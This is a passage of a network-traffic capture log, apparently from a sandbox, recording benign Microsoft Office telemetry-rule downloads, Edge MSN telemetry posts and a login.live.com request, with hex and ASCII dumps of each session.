2024-11-22 22:06:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:44 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4ec76ea5-a01e-006f-014e-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220644Z-178bfbc474bscnbchC1NYCe7eg00000003p000000000m63f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:44 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:44 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:44 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220644Z-178bfbc474bbcwv4hC1NYCypys000000039g00000000t8em x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:44 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:44 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:44 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 38a668eb-401e-00ac-34a1-3b0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220644Z-15b8b599d885ffrhhC1TEBtuv0000000026g000000000a35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:44 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49892	52.182.141.63	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:45 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732313203730&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11535 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1981927DEF30640D17DC8742EE526551; _EDGE_S=F=1&SID=2656553965EC663635A140066439671A; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-22 22:06:45 UTC	11535	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 32 54 32 32 3a 30 36 3a 34 33 2e 37 32 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 65 31 31 33 63 32 35 2d 66 35 64 31 2d 34 34 30 30 2d 39 64 33 31 2d 37 34 65 66 61 30 30 63 33 38 30 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 31 31 31 37 32 36 37 34 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-22T22:06:43.727Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"ae113c25-f5d1-4400-9d31-74efa00c380d","epoch":"2111726742"},"app":{"locale
2024-11-22 22:06:46 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=3977efb40354482b85c7e42de87eda78&HASH=3977&LV=202411&V=4&LU=1732313206004; Domain=.microsoft.com; Expires=Sat, 22 Nov 2025 22:06:46 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=63963637358d41f1aa62baa34b6cae7b; Domain=.microsoft.com; Expires=Fri, 22 Nov 2024 22:36:46 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2274 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 22 Nov 2024 22:06:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49891	52.182.141.63	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:45 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732313203734&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5051 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1981927DEF30640D17DC8742EE526551; _EDGE_S=F=1&SID=2656553965EC663635A140066439671A; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-22 22:06:45 UTC	5051	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 32 54 32 32 3a 30 36 3a 34 33 2e 37 33 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 65 31 31 33 63 32 35 2d 66 35 64 31 2d 34 34 30 30 2d 39 64 33 31 2d 37 34 65 66 61 30 30 63 33 38 30 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 31 31 31 37 32 36 37 34 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-22T22:06:43.733Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"ae113c25-f5d1-4400-9d31-74efa00c380d","epoch":"2111726742"},"app":{"locale
2024-11-22 22:06:46 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=8840d620ba4c4272ba1f670d406aef69&HASH=8840&LV=202411&V=4&LU=1732313206127; Domain=.microsoft.com; Expires=Sat, 22 Nov 2025 22:06:46 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=550153bde47642e1a111623f67ad9f77; Domain=.microsoft.com; Expires=Fri, 22 Nov 2024 22:36:46 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2393 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 22 Nov 2024 22:06:45 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:46 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:46 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:46 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 43acaf28-701e-006f-5cf7-3cafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220646Z-178bfbc474bxkclvhC1NYC69g400000003eg00000000htn4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 22:06:46 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:46 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220646Z-174c587ffdfx984chC1TEB676g00000001z000000000kyr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:46 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:46 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: abcc4943-b01e-00ab-2315-3ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220646Z-178bfbc474bh5zbqhC1NYCkdug00000003g000000000c4be x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:46 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:46 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:46 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: ba3f3383-a01e-000d-6e55-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220646Z-15b8b599d88phfhnhC1TEBr51n000000022g00000000kdc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:46 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:46 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:46 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: ea05e59b-301e-0033-4bf7-3cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220646Z-178bfbc474bw8bwphC1NYC38b400000003bg00000000gpq3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:47 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49898	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:46 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-22 22:06:46 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 